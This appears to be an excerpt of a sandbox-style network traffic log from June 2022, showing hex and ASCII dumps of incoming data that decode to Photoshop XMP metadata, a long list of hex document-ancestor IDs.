3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 43 44 32 43 34 31 44 37 36 45 30 30 31 31 35 42 34 44 36 
31 33 30 31 33 33 45 41 42 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 44 32 36 43 31 32 43 43 4
2 35 30 33 39 42 46 35 36 46 30 33 35 36 37 34 37 46 45 45 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
34 44 44 44 37 35 31 45 36 45 41 38 46 46 41 44 35 43 41 38 34 30 31 37 30 45 30 45 30 32 39 33 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 44 45 45 31 45 31 34 34 38 39 
Data Ascii: 946005FAE83C0796071CCFB31</rdf:li> <rdf:li>4DC1723A741F6CE649F5A34E24051A9E</rdf:li> <rd
f:li>4DCD2C41D76E00115B4D6130133EAB6C</rdf:li> <rdf:li>4DD26C12CCB5039BF56F0356747FEED9</rdf:li> <rd
f:li>4DDD751E6EA8FFAD5CA840170E0E0293</rdf:li> <rdf:li>4DDEE1E14489
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2022-06-08 07:56:16 UTC 4263 IN Data Raw: 34 37 35 33 34 31 41 36 36 31 39 44 37 37 41 43 33 36 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 35 41 32 32 43 39 46 34 43 36 43 38 37 45 35 36 39 35 37 42 31 44 37 30 43 44 31 34 41 46 45 35 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 41 33 35 32 33 34 41 46 31 46 34 45 32 36 37 35 41 45 36 44 34 39 44 38 35 
36 37 46 43 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 41 33 37 42 35 33 32 31 39 36 33 39 36 35 3
7 35 41 30 44 37 34 38 46 45 38 33 37 33 35 43 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 41 34 30 41 
44 43 35 43 39 38 35 38 41 33 32 30 30 43 30 44 46 43 35 41 34 34 45 30 46 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 35 41 34 35 41 32 45 35 35 39 42 44 43 34 46 42 45 
Data Ascii: 475341A6619D77AC36D0</rdf:li> <rdf:li>5A22C9F4C6C87E56957B1D70CD14AFE5</rdf:li> <rdf:li>
5A35234AF1F4E2675AE6D49D8567FC82</rdf:li> <rdf:li>5A37B532196396575A0D748FE83735CC</rdf:li> <rdf:li>
5A40ADC5C9858A3200C0DFC5A44E0FF6</rdf:li> <rdf:li>5A45A2E559BDC4FBE

2022-06-08 07:56:16 UTC 4279 IN Data Raw: 3a 6c 69 3e 36 37 39 35 30 38 39 30 45 31 39 36 42 37 43 31 41 35 37 32 33 37 36 38 43 34 46 43 30 36 36 
30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 41 43 44 36 35 41 38 30 38 37 43 42 45 43 39 44 45 45 
39 41 38 30 37 42 38 38 33 30 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 42 34 37 38 33 42 37 3
6 44 37 41 34 33 37 31 32 38 34 36 42 31 33 31 46 38 41 43 30 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 36 37 42 34 46 35 46 36 36 35 35 41 39 31 34 33 44 46 34 32 41 37 46 36 41 32 33 45 45 34 46 46 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 42 35 37 34 44 42 32 32 31 44 32 32 35 46 31 35 43 39 33 41 39 43 46 42 33 
39 37 43 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 
Data Ascii: :li>67950890E196B7C1A5723768C4FC0660</rdf:li> <rdf:li>67ACD65A8087CBEC9DEE9A807B8830B0</
rdf:li> <rdf:li>67B4783B76D7A43712846B131F8AC014</rdf:li> <rdf:li>67B4F5F6655A9143DF42A7F6A23EE4FF</rdf:li> 
<rdf:li>67B574DB221D225F15C93A9CFB397C7A</rdf:li> <rdf:li>6

2022-06-08 07:56:16 UTC 4287 IN Data Raw: 69 3e 36 44 39 35 42 31 42 42 35 38 37 37 35 37 35 44 39 44 34 38 33 33 32 45 31 33 31 43 31 32 34 46 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 44 41 39 37 42 45 30 43 39 39 31 45 42 36 42 33 35 31 45 46 32 30 
32 46 37 37 43 45 41 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 44 41 46 44 35 30 31 45 42 42 43 
30 39 39 39 42 34 39 43 44 34 30 39 31 34 30 45 31 32 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 4
4 43 31 39 43 43 39 45 41 37 37 36 32 31 36 46 35 30 41 42 32 37 46 35 41 41 35 46 43 43 45 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 36 44 44 32 45 30 42 32 37 33 30 37 44 32 43 36 45 44 30 34 46 36 36 45 33 33 44 37 38 
41 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 44 44 
Data Ascii: i>6D95B1BB5877575D9D48332E131C124F</rdf:li> <rdf:li>6DA97BE0C991EB6B351EF202F77CEA3B</rd
f:li> <rdf:li>6DAFD501EBBC0999B49CD409140E1292</rdf:li> <rdf:li>6DC19CC9EA776216F50AB27F5AA5FCCE</rdf:li> 
<rdf:li>6DD2E0B27307D2C6ED04F66E33D78A34</rdf:li> <rdf:li>6DD

2022-06-08 07:56:16 UTC 4303 IN Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 41 32 30 41 34 45 41 32 35 33 39 34 46 42 41 36 31 
39 33 39 32 42 32 46 45 36 43 32 37 38 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 41 33 36 41 42 44 
36 45 35 35 38 31 39 41 33 39 43 34 30 43 44 34 31 30 36 36 37 35 43 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 37 41 34 46 43 35 44 33 32 41 36 41 38 32 35 39 31 46 41 41 31 43 33 44 30 35 45 39 42 35 42 41 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 41 34 46 43 42 43 45 41 35 43 31 32 41 39 34 35 32 38 44 34 44 46 38 
38 35 31 31 44 37 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 41 35 30 34 34 35 41 43 36 35 34 31 
38 33 30 42 32 37 42 30 34 35 45 45 39 41 30 42 42 31 44 3c 2f 72 64 66 
Data Ascii: </rdf:li> <rdf:li>7A20A4EA25394FBA619392B2FE6C278A</rdf:li> <rdf:li>7A36ABD6E55819A39C40
CD4106675CFC</rdf:li> <rdf:li>7A4FC5D32A6A82591FAA1C3D05E9B5BA</rdf:li> <rdf:li>7A4FCBCEA5C12A94528D
4DF88511D775</rdf:li> <rdf:li>7A50445AC6541830B27B045EE9A0BB1D</rdf

2022-06-08 07:56:16 UTC 4319 IN Data Raw: 35 36 33 41 33 43 32 43 31 41 35 41 45 43 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 36 
33 46 43 43 43 45 31 33 39 34 34 34 46 45 46 46 33 41 44 34 32 42 31 38 38 33 34 37 36 42 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 38 36 34 42 34 42 38 42 37 46 42 45 43 36 30 38 41 38 33 30 45 36 30 43 46 30 37 45 42 38 
42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 36 35 33 36 46 32 43 30 44 35 37 46 42 32 41 30 45 43 3
6 32 41 37 46 43 45 31 33 42 39 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 36 35 35 37 31 31 31 41 
46 42 32 34 45 44 41 32 39 31 46 43 43 33 30 45 39 30 36 31 45 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 38 36 35 41 31 34 30 36 38 38 45 44 45 42 35 33 44 30 45 34 44 
Data Ascii: 563A3C2C1A5AEC09</rdf:li> <rdf:li>863FCCCE139444FEFF3AD42B1883476B</rdf:li> <rdf:li>864B
4B8B7FBEC608A830E60CF07EB8B5</rdf:li> <rdf:li>86536F2C0D57FB2A0EC62A7FCE13B91F</rdf:li> <rdf:li>8655
7111AFB24EDA291FCC30E9061EFE</rdf:li> <rdf:li>865A140688EDEB53D0E4D

2022-06-08 07:56:16 UTC 4327 IN Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 42 36 45 46 46 34 39 36 43 37 31 31 42 37 38 37 38 38 41 41 34 43 37 
38 42 34 38 45 39 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 42 36 46 39 45 45 30 37 32 43 38 42 
38 35 37 41 42 37 37 46 35 33 44 41 46 39 34 44 39 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 42 3
7 42 30 42 38 45 38 31 39 32 44 32 30 46 44 38 41 33 44 38 33 31 43 37 43 41 42 41 34 42 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 38 42 37 44 42 41 36 33 35 46 42 45 44 46 37 36 32 34 31 36 44 42 44 38 44 45 45 38 31 44 
37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 42 38 30 42 31 43 41 46 30 36 45 37 38 38 38 45 44 38 
34 32 42 35 41 44 34 35 45 44 31 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
Data Ascii: i> <rdf:li>8B6EFF496C711B78788AA4C78B48E995</rdf:li> <rdf:li>8B6F9EE072C8B857AB77F53DAF9
4D9DD</rdf:li> <rdf:li>8B7B0B8E8192D20FD8A3D831C7CABA4B</rdf:li> <rdf:li>8B7DBA635FBEDF762416DBD8DEE
81D7E</rdf:li> <rdf:li>8B80B1CAF06E7888ED842B5AD45ED1F7</rdf:li> <r

2022-06-08 07:56:16 UTC 4343 IN Data Raw: 31 36 30 42 31 32 32 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 36 37 35 45 42 32 31 
41 33 41 32 32 45 41 46 35 37 37 34 34 45 45 42 43 31 33 39 44 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 39 38 37 33 33 39 31 32 44 46 30 35 45 38 32 46 43 39 44 46 46 32 34 37 34 33 39 36 35 39 46 38 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 39 44 33 42 39 33 39 35 34 42 44 46 44 33 35 36 30 35 35 44 45 44 36 44 
34 43 31 44 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 41 32 30 44 34 34 35 33 42 32 34 36 43 
32 44 46 39 45 33 34 30 33 38 41 37 46 41 42 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 41 34 
30 46 30 44 36 30 31 42 41 36 39 30 43 30 41 36 35 30 33 43 30 41 45 38 
Data Ascii: 160B12201</rdf:li> <rdf:li>98675EB21A3A22EAF57744EEBC139D4D</rdf:li> <rdf:li>98733912DF0
5E82FC9DFF247439659F8</rdf:li> <rdf:li>989D3B93954BDFD356055DED6D4C1D80</rdf:li> <rdf:li>98A20D4453B
246C2DF9E34038A7FAB40</rdf:li> <rdf:li>98A40F0D601BA690C0A6503C0AE8

2022-06-08 07:56:16 UTC 4391 IN Data Raw: 46 35 38 37 31 30 34 46 46 30 34 36 44 37 45 43 32 45 35 38 39 39 30 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 41 34 38 39 32 44 38 39 37 37 33 30 42 43 32 32 37 38 44 44 37 43 45 34 38 44 44 43 32 44 31 34 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 39 39 38 31 31 46 46 44 43 31 36 43 30 39 42 45 34 41 42 
41 33 38 41 32 31 33 34 43 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 41 36 42 30 31 34 30 42 3
7 41 31 31 33 35 41 41 32 44 37 41 31 45 33 34 37 36 42 35 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
41 34 41 46 33 41 39 41 46 33 37 41 34 39 41 31 35 34 36 35 33 34 46 44 45 30 45 43 35 38 38 39 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 42 32 43 32 45 38 41 31 35 46 
Data Ascii: F587104FF046D7EC2E5899002</rdf:li> <rdf:li>A4892D897730BC2278DD7CE48DDC2D14</rdf:li> <rd
f:li>A499811FFDC16C09BE4ABA38A2134C0D</rdf:li> <rdf:li>A4A6B0140B7A1135AA2D7A1E3476B56B</rdf:li> <rd
f:li>A4AF3A9AF37A49A1546534FDE0EC5889</rdf:li> <rdf:li>A4B2C2E8A15F
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2022-06-08 07:56:16 UTC 4398 IN Data Raw: 35 46 38 38 30 31 46 37 41 35 33 39 43 44 36 38 43 31 45 36 41 31 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 41 41 31 41 36 36 31 39 30 43 34 30 30 31 36 38 34 46 33 38 30 30 44 38 35 32 44 32 34 30 32 38 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 41 32 36 43 45 37 35 30 30 37 45 34 46 35 44 45 46 41 44 31 30 37 
36 32 35 44 36 30 32 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 41 32 41 30 30 36 34 32 31 41 33 3
9 46 43 32 35 39 35 37 30 45 36 36 46 35 37 41 43 37 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 41 
33 39 32 36 36 41 44 30 43 33 46 37 46 32 36 32 41 42 43 37 39 45 33 38 38 45 41 34 43 38 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 41 41 34 39 44 41 34 32 45 35 38 46 41 42 
Data Ascii: 5F8801F7A539CD68C1E6A1A</rdf:li> <rdf:li>AA1A66190C4001684F3800D852D24028</rdf:li> <rdf:
li>AA26CE75007E4F5DEFAD107625D6020D</rdf:li> <rdf:li>AA2A006421A39FC259570E66F57AC752</rdf:li> <rdf:
li>AA39266AD0C3F7F262ABC79E388EA4C8</rdf:li> <rdf:li>AA49DA42E58FAB

2022-06-08 07:56:16 UTC 4400 IN Data Raw: 31 39 37 37 41 37 36 42 42 31 30 38 34 44 38 41 30 44 36 32 31 42 32 34 35 37 32 35 39 43 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 42 32 39 39 42 39 38 33 43 33 32 44 30 33 38 45 41 42 39 38 37 34 33 33 32 
37 36 37 36 42 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 42 34 39 30 45 33 43 44 32 36 36 38 43 39 4
3 44 35 35 32 33 42 43 32 35 32 43 38 37 31 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 42 35 42 30 
32 45 34 32 44 41 32 46 33 42 33 41 46 46 37 44 32 43 43 36 31 44 36 43 44 41 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 41 42 35 43 32 35 39 43 39 37 33 31 38 45 42 31 30 37 42 36 33 38 41 31 45 31 42 32 30 46 43 45 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 42 37 30 32 31 36 
Data Ascii: 1977A76BB1084D8A0D621B2457259C</rdf:li> <rdf:li>AB299B983C32D038EAB98743327676BF</rdf:li> 
<rdf:li>AB490E3CD2668C9CD5523BC252C8712C</rdf:li> <rdf:li>AB5B02E42DA2F3B3AFF7D2CC61D6CDA4</rdf:li> 
<rdf:li>AB5C259C97318EB107B638A1E1B20FCE</rdf:li> <rdf:li>AB70216

2022-06-08 07:56:16 UTC 4416 IN Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 36 44 30 42 30 46 33 41 35 41 30 41 46 38 33 41 32 41 30 45 
44 31 39 42 31 44 39 42 44 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 36 44 39 33 42 35 41 41 41 
42 31 38 42 45 37 37 45 46 38 30 36 46 46 36 42 33 33 39 42 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 42 36 44 42 41 33 41 44 41 43 42 32 39 35 31 30 30 33 34 43 31 33 35 33 41 36 44 45 35 44 43 46 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 42 36 46 37 41 33 32 44 41 32 39 46 39 37 45 30 46 33 30 38 31 45 43 33 31 30 37 37 
36 34 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 37 30 30 35 35 31 34 41 34 30 34 34 43 32 33 44 
38 31 33 33 31 30 38 38 41 45 34 36 46 44 36 3c 2f 72 64 66 3a 6c 69 3e 
Data Ascii: f:li> <rdf:li>B6D0B0F3A5A0AF83A2A0ED19B1D9BD66</rdf:li> <rdf:li>B6D93B5AAAB18BE77EF806FF
6B339B1C</rdf:li> <rdf:li>B6DBA3ADACB29510034C1353A6DE5DCF</rdf:li> <rdf:li>B6F7A32DA29F97E0F3081EC3
10776425</rdf:li> <rdf:li>B7005514A4044C23D81331088AE46FD6</rdf:li>

2022-06-08 07:56:16 UTC 4432 IN Data Raw: 20 3c 72 64 66 3a 6c 69 3e 43 33 44 39 42 41 34 41 34 46 34 42 44 46 37 35 43 37 34 46 43 34 35 32 36 45 
30 46 38 45 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 33 45 34 30 38 39 36 39 31 46 36 32 35 43 
43 36 38 32 33 39 31 46 39 44 45 31 43 45 32 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 33 45 42 3
9 43 44 44 34 41 43 31 41 42 44 34 34 31 33 41 37 41 34 39 36 34 38 30 32 35 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 43 33 46 42 34 44 32 43 34 43 44 43 35 34 46 46 34 31 46 43 38 36 44 38 45 30 33 31 35 37 32 35 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 34 30 31 35 38 32 37 45 31 30 45 37 36 44 39 42 42 34 34 39 44 
32 46 32 31 36 43 34 31 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
Data Ascii:  <rdf:li>C3D9BA4A4F4BDF75C74FC4526E0F8E86</rdf:li> <rdf:li>C3E4089691F625CC682391F9DE1CE
249</rdf:li> <rdf:li>C3EB9CDD4AC1ABD4413A7A4964802578</rdf:li> <rdf:li>C3FB4D2C4CDC54FF41FC86D8E0315
725</rdf:li> <rdf:li>C4015827E10E76D9BB449D2F216C4191</rdf:li> <rdf

2022-06-08 07:56:16 UTC 4438 IN Data Raw: 43 39 30 38 42 45 43 43 33 43 33 44 33 30 31 37 35 44 38 31 46 33 45 43 39 36 34 34 31 39 33 36 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 39 30 39 46 42 30 38 44 44 36 37 37 33 45 31 35 35 42 30 31 41 44 42 
34 42 38 35 37 35 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 39 30 41 43 34 36 41 44 32 36 43 45 3
2 33 42 35 32 37 45 33 38 41 41 42 46 43 43 32 45 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 39 30 
45 34 38 42 45 42 31 42 39 43 44 37 33 41 30 37 30 31 36 38 30 45 44 33 31 45 33 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 43 39 31 34 31 32 39 44 37 39 45 34 32 38 46 46 34 35 39 30 37 46 37 32 31 41 39 44 41 43 31 
45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 39 31 35 41 
Data Ascii: C908BECC3C3D30175D81F3EC96441936</rdf:li> <rdf:li>C909FB08DD6773E155B01ADB4B857518</rdf:li> 
<rdf:li>C90AC46AD26CE23B527E38AABFCC2E98</rdf:li> <rdf:li>C90E48BEB1B9CD73A0701680ED31E3D2</rdf:li> 
<rdf:li>C914129D79E428FF45907F721A9DAC1E</rdf:li> <rdf:li>C915A

2022-06-08 07:56:16 UTC 4454 IN Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 38 41 43 39 45 38 39 41 36 41 39 43 43 43 37 31 32 
33 33 36 38 39 33 34 45 37 46 31 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 39 32 36 45 31 34 
32 30 31 46 37 31 33 44 43 35 46 39 32 39 30 41 30 42 34 44 31 32 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6
c 69 3e 44 34 39 37 37 31 44 36 33 30 46 41 37 33 43 37 31 35 33 37 30 39 46 45 32 32 34 30 45 32 32 31 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 39 45 39 43 41 34 42 37 43 31 36 30 36 36 32 41 34 34 44 38 43 42 33 
34 36 39 41 44 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 39 46 32 43 30 46 44 39 38 35 35 31 
43 42 43 46 31 33 31 31 43 46 46 33 36 33 33 37 41 42 3c 2f 72 64 66 3a 6c 
Data Ascii: rdf:li> <rdf:li>D48AC9E89A6A9CCC7123368934E7F115</rdf:li> <rdf:li>D4926E14201F713DC5F929
0A0B4D12D9</rdf:li> <rdf:li>D49771D630FA73C7153709FE2240E221</rdf:li> <rdf:li>D49E9CA4B7C160662A44D8
CB3469AD0B</rdf:li> <rdf:li>D49F2C0FD98551CBCF1311CFF36337AB</rdf:l

2022-06-08 07:56:16 UTC 4470 IN Data Raw: 30 36 32 32 46 33 39 32 46 43 35 38 42 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 30 43 44 
37 42 36 44 43 36 37 46 35 31 36 44 34 38 35 45 43 44 37 33 31 38 41 33 30 30 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 45 30 44 31 36 34 31 33 46 39 41 30 31 30 37 33 42 43 35 37 31 42 46 34 42 41 35 45 36 43 37 36 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 30 44 39 32 42 37 35 37 42 44 30 46 43 37 31 42 44 36 33 39 3
0 31 46 30 31 38 42 39 41 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 31 35 46 39 42 43 45 44 43 
34 33 41 32 43 38 39 34 30 37 33 44 37 39 43 32 36 42 42 32 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
45 31 31 44 34 35 35 36 42 31 37 39 34 31 35 36 36 44 41 44 35 36 38 
Data Ascii: 0622F392FC58B7</rdf:li> <rdf:li>E0CD7B6DC67F516D485ECD7318A3007F</rdf:li> <rdf:li>E0D164
13F9A01073BC571BF4BA5E6C76</rdf:li> <rdf:li>E0D92B757BD0FC71BD63901F018B9A81</rdf:li> <rdf:li>E115F9
BCEDC43A2C894073D79C26BB26</rdf:li> <rdf:li>E11D4556B17941566DAD568

2022-06-08 07:56:16 UTC 4478 IN Data Raw: 45 33 32 39 37 44 32 45 42 36 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 32 44 31 31 
41 39 43 31 43 41 43 31 39 43 36 44 46 45 34 33 36 33 35 45 41 37 39 42 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 45 36 35 37 46 38 38 45 42 41 43 35 34 45 41 43 39 31 38 33 44 44 39 30 39 44 31 42 38 44 31 36 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 35 45 46 41 45 31 45 41 37 34 46 32 44 35 33 30 33 36 37 41 32 
37 39 32 35 43 36 46 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 37 33 39 33 45 35 34 31 38 32 
36 34 33 44 39 30 33 42 35 43 45 46 30 36 33 36 45 45 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 
36 37 36 35 37 45 38 38 31 43 32 43 34 36 37 30 46 32 33 36 30 38 38 39 
Data Ascii: E3297D2EB60D</rdf:li> <rdf:li>E62D11A9C1CAC19C6DFE43635EA79B17</rdf:li> <rdf:li>E657F88E
BAC54EAC9183DD909D1B8D16</rdf:li> <rdf:li>E65EFAE1EA74F2D530367A27925C6FE6</rdf:li> <rdf:li>E67393E5
4182643D903B5CEF0636EE09</rdf:li> <rdf:li>E67657E881C2C4670F2360889
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2022-06-08 07:56:16 UTC 4494 IN Data Raw: 43 42 30 37 43 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 44 37 43 43 46 42 39 45 42 
31 38 35 45 31 45 35 41 39 31 37 42 45 35 43 36 33 38 46 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
46 30 44 39 45 32 32 45 43 42 35 32 45 33 30 46 45 42 44 37 44 36 36 37 37 45 30 38 37 34 38 30 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 45 35 39 44 41 39 35 44 45 32 46 33 46 44 31 32 33 31 46 43 30 44 34 42 35 30 
44 44 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 46 31 46 41 44 44 42 36 45 38 41 41 46 37 33 
42 34 36 45 43 45 36 38 37 31 41 32 36 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 46 35 46 32 
45 39 32 32 36 32 33 34 43 34 30 30 43 39 44 39 36 44 38 35 39 44 36 35 
Data Ascii: CB07C82</rdf:li> <rdf:li>F0D7CCFB9EB185E1E5A917BE5C638F7F</rdf:li> <rdf:li>F0D9E22ECB52E
30FEBD7D6677E087480</rdf:li> <rdf:li>F0E59DA95DE2F3FD1231FC0D4B50DD04</rdf:li> <rdf:li>F0F1FADDB6E8A
AF73B46ECE6871A2694</rdf:li> <rdf:li>F0F5F2E9226234C400C9D96D859D65

2022-06-08 07:56:16 UTC 4510 IN Data Raw: 34 36 30 37 32 41 32 32 38 37 33 34 36 34 38 45 45 32 31 38 42 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 46 43 37 33 34 43 42 32 39 37 38 46 43 44 41 42 31 36 34 38 44 46 30 46 41 31 43 44 35 36 44 35 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 43 37 34 46 45 38 44 39 41 38 45 43 46 39 37 42 33 30 38 36 36 42 
35 37 36 45 39 43 41 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 43 37 46 39 33 37 41 38 46 38 44 4
6 36 31 41 41 35 30 30 32 44 32 35 32 34 36 30 37 39 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 43 
38 31 39 44 45 38 36 44 35 45 31 34 45 31 45 45 33 45 42 33 37 43 44 42 31 42 41 32 31 31 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 46 43 38 37 35 32 42 36 39 31 46 30 38 31 
Data Ascii: 46072A228734648EE218BA8</rdf:li> <rdf:li>FC734CB2978FCDAB1648DF0FA1CD56D5</rdf:li> <rdf:
li>FC74FE8D9A8ECF97B30866B576E9CA20</rdf:li> <rdf:li>FC7F937A8F8DF61AA5002D25246079CD</rdf:li> <rdf:
li>FC819DE86D5E14E1EE3EB37CDB1BA211</rdf:li> <rdf:li>FC8752B691F081

2022-06-08 07:56:16 UTC 4518 IN Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 63 
